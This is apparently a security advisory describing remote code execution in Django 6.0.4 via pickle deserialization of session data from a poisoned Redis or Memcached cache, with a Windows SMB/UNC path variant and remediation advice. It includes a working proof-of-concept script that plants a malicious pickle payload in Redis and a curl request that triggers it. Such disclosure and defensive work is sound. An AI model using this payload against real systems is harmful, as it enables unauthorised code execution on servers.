Full Disclosure ID: HA-2026-00131

Django - Version 6.0.4 / Remote Code Execution (RCE) via Insecure Deserialization (Redis, Memcached & SMB/UNC Path Redirection) based on Cache Poisoning

JP
Joshua Provoste Security Researcher
Published June 01, 2026
Severity 9.8 (CRITICAL)
Target Django / Web Applications

Below are one (1) way to reproduce RCE in Django using a cache poisoning attack, without authentication or local intervention by a third party to modify files that allow code execution during the deserialization process.

For this PoC, two (2) different devices were used to simulate the interaction between an attacking machine (Raspberry Pi with IP 192.168.1.90) and a victim machine (Windows with IP 192.168.1.88).

Note: While this vulnerability is specifically verified and reported on version 6.0.4, other prior and subsequent versions may also be susceptible to this insecure deserialization vector.

Introduction

Django Logo

Django is a high-level Python web framework designed to encourage rapid development and clean, pragmatic design. Built by experienced developers, it takes care of much of the hassle of web development, allowing creators to focus on writing their app without needing to reinvent the wheel. It is free, open-source, and widely recognized for its "batteries-included" philosophy, providing out-of-the-box features for user authentication, content administration, site maps, and RSS feeds.

As one of the most prominent web frameworks globally, Django powers massive web applications and APIs, handling backend routing, database management via its built-in Object-Relational Mapper (ORM), and session state. Because of its security-conscious defaults, scale of adoption, and central role in corporate web infrastructures, vulnerabilities that break these assumptions—specifically unauthenticated RCE pathways—pose a critical risk to systems globally.

Vulnerability description

The vulnerability is a classic insecure deserialization flaw present in multiple Django cache backends. Both RedisCache and MemcachedCache (specifically PyMemcacheCache) rely on the pickle module by default to serialize and deserialize Python objects for storage. When the application retrieves data from these remote services (e.g., during session loading), the bytes returned from the network are passed directly to pickle.loads().

If an attacker can influence the content of the cache—via an exposed Redis/Memcached port, SSRF, or lateral movement—they can achieve unauthenticated Remote Code Execution (RCE).

The vulnerable code in django/core/cache/backends/redis.py (Redis):

Python (redis.py) Vulnerable Sink
class RedisSerializer:
    def loads(self, data):
        try:
            return int(data)
        except ValueError:
            return pickle.loads(data) # <--- Critical Sink

The vulnerable code in django/core/cache/backends/memcached.py (Memcached):

Python (memcached.py) Vulnerable Configuration
class PyMemcacheCache(BaseMemcachedCache):
    def __init__(self, server, params):
        import pymemcache.serde
        # ...
        self._options = {
            # ...
            "serde": pymemcache.serde.pickle_serde, # <--- Uses pickle.loads internally
            **self._options,
        }

Vector #2: Remote Code Execution (RCE) via SMB/UNC Path Redirection

On Windows, Django allows the configuration of various "Path Directives" (e.g., SESSION_FILE_PATH, CACHES['default']['LOCATION']). Because the underlying Python file operations (open, os.path.join) and Django's key-to-file logic resolve Universal Naming Convention (UNC) paths, an attacker can redirect the application to load serialized objects from a remote SMB share. This transforms a typically "local-only" file-based sink into a remote exploitation vector.

Vulnerable Code Path (django/contrib/sessions/backends/file.py):

Python (file.py) Vulnerable Code
def load(self):
    # ...
    # Path Directive (LOCATION or SESSION_FILE_PATH) can be \\attacker-ip\share
    with open(self._key_to_file(), encoding="ascii") as session_file:
        file_data = session_file.read()
    if file_data:
        session_data = self.decode(file_data) # <--- Triggers pickle.loads

Technical Impact Analysis

Project Purpose & Context

Django is one of the most widely used web frameworks in the Python ecosystem. To manage user state and optimize performance, it relies heavily on session and caching backends. In high-traffic or distributed environments, Redis is the industry standard for these tasks. By default, Django trusts the data returned from these backends as "vetted" and safe for execution-related tasks like object reconstruction.

Platform & Deployment Environment

This vulnerability is particularly critical in modern cloud and containerized environments (Kubernetes, AWS/GCP). In these settings, services like Redis are often shared between multiple microservices or exposed within the cluster without authentication. The assumption that the "internal network" is secure allows this vector to bypass traditional perimeter defenses.

Comprehensive Risk Assessment

The risk is classified as Critical. An attacker does not need to be authenticated to the Django application or have any local access to the server's filesystem. Control over the data-tier (Redis or Memcached) is enough to pivot into the application-tier. In multi-tenant environments, shared cache clusters, or networks vulnerable to SSRF, this leads to immediate lateral movement and full system compromise.

Furthermore, Windows-based deployments face a unique "Path Redirection" risk. If any part of the application allows for the injection or manipulation of a filesystem path setting—common in CI/CD pipeline automation or misconfigured management interfaces—an attacker can force a remote resource load over SMB. This bypasses the typical security assumption that filesystem-based persistence is inherently safer than network-based persistence.

Attack Scenario

Who wants to exploit a particular vulnerability?

An attacker who has gained initial access to a corporate network, identifies an unauthenticated internal Redis or Memcached instance, or discovers an SSRF (Server-Side Request Forgery) vulnerability in a microservice that can reach the internal infrastructure.

For what gain?

The gain is unauthenticated Remote Code Execution (RCE). This allows the attacker to execute arbitrary commands under the privileges of the Django service account, providing a foothold for data exfiltration, service disruption, or further lateral movement into the cloud infrastructure.

In what way?

The attacker uses a Redis/Memcached client to set a specific key in the cache that corresponds to a Django Session ID. By visiting the application with a sessionid cookie matching the poisoned key, the attacker forces Django's SessionMiddleware to fetch the malicious payload from the infrastructure and pass it to the pickle.loads() sink.

Reproduction steps

On Windows (victim) - IP 192.168.1.88

(.venv) PS L:\Pickle-RCE-Finder\PYPI-django> Get-NetIPAddress -AddressFamily IPv4 | Where-Object PrefixOrigin -eq "Dhcp" | Select-Object -ExpandProperty IPAddress
192.168.1.88

1. Create a .venv, activate it, and install the latest updated version (6.0.4) of Django using pip install Django.
2. Install redis package pip install redis and then, deploy Redis in a Docker container docker run --name my-redis -p 6379:6379 -d redis.
3. Create a minimalist web app project python -m django startproject vulnerable_project ..
4. Modify vulnerable_project/settings.py to use Redis for both caching and session storage; ensure pickle is the serializer (default in Django 6.0.4 for RedisCache).

Add or modify these settings in vulnerable_project/settings.py:

settings.py
CACHES = {
    "default": {
        "BACKEND": "django.core.cache.backends.redis.RedisCache",
        "LOCATION": "redis://127.0.0.1:6379",
    }
}

# Force sessions to be stored in the cache
SESSION_ENGINE = "django.contrib.sessions.backends.cache"
SESSION_CACHE_ALIAS = "default"

ALLOWED_HOSTS = ['*']

5. And start the server:

python manage.py runserver 0.0.0.0:8000
Server running

On the Raspberry (attacker) - IP 192.168.1.90

kw0@kw0l4b:~ $ hostname -I | awk '{print $1}'
192.168.1.90

Run the specialized poison.py script to generate and inject the poisoned session ID into Redis:

poison.py
import redis
import pickle
import base64

# Configuration
REDIS_HOST = '192.168.1.88'
REDIS_PORT = 6379
# This matches the sessionid we will use in the cookie
SESSION_ID = 'pwned_session_1337'
# Django session cache prefix (Default format is ':1:key')
CACHE_KEY = f":1:django.contrib.sessions.cache{SESSION_ID}"

class RCE:
    def __reduce__(self):
        # Using the Universal Pattern to ensure
        # Cross-Platform compatibility (Linux -> Windows)
        return (eval, ("__import__('os').system('calc.exe') or {}",))

def poison_redis():
    print(f"[*] Connecting to Redis at {REDIS_HOST}:{REDIS_PORT}...")
    r = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=0)
    
    # Create the malicious payload
    payload = RCE()
    pickled_payload = pickle.dumps(payload)
    
    print(f"[*] Poisoning key: {CACHE_KEY}")
    # Django's RedisCache stores the pickle directly
    r.set(CACHE_KEY, pickled_payload)
    print("[+] Cache poisoned successfully!")

if __name__ == "__main__":
    poison_redis()

Run the exploit deserialization:

curl -v http://192.168.1.88:8000/admin/ --cookie "sessionid=pwned_session_1337"
Exploit request
RCE execution console

And in the victim host:

RCE confirmation pop

Executive Summary: RCE via Cache Poisoning and Insecure Pickle Deserialization in Django

The research identifies a critical Remote Code Execution (RCE) vulnerability in Django v6.0.4, affecting its RedisCache and MemcachedCache backends.

  • Root Cause: Django’s cache backends utilize the pickle module by default to serialize and deserialize Python objects. When the framework retrieves cached data (such as session objects) from Redis or Memcached, it passes the retrieved bytes directly to pickle.loads() without verification.
  • Exploitation Mechanism: An attacker with network access to the unauthenticated Redis or Memcached instance can inject a malicious serialized Python object into a session key. By providing the corresponding sessionid cookie to the Django application, the attacker forces the server to deserialize the poisoned object, triggering arbitrary code execution.

Analysis of Scope and Security Implications

This vulnerability is of critical severity, as it enables unauthenticated RCE by manipulating backend infrastructure.

1. Infection Scenarios

  • Cache Poisoning: An attacker can replace legitimate session data in a shared Redis/Memcached cluster with a malicious pickle payload. The vulnerability is triggered automatically when the application attempts to load the user's session from the cache.
  • SMB/UNC Path Redirection: On Windows-based deployments, Django’s reliance on os.path and file operations allows an attacker to redirect session loading to a remote SMB share, transforming a local file-based sink into a remote exploitation vector.

2. Factors Exacerbating Risk

  • Implicit Trust: Django assumes data retrieved from configured cache backends is inherently safe, failing to perform any integrity checks or signature validation before deserialization.
  • Network Transparency: In modern containerized or cloud environments, internal services like Redis are frequently exposed without authentication, providing an easy entry point for lateral movement from the internal network.
  • Wide Applicability: Given Django’s widespread use in distributed web architectures, this vulnerability places a vast number of high-traffic applications at risk of full system compromise.

Conclusion and Recommendation

This is a critical-severity vulnerability. The reliance on pickle for deserializing data from networked cache services renders the application highly susceptible to unauthenticated RCE.

Suggested actions for the development team:

  1. Replace Pickle: Immediately deprecate the use of pickle for cache and session serialization. Replace it with secure, non-executable data formats such as JSON or Protobuf that do not support arbitrary code execution primitives.
  2. Implement Integrity Checks: If complex object serialization is required, implement mandatory cryptographic signing (e.g., HMAC) for all cached data to ensure authenticity before deserialization.
  3. Network Hardening: Enforce authentication and access controls for all Redis and Memcached backends to prevent unauthorized modification of cached data.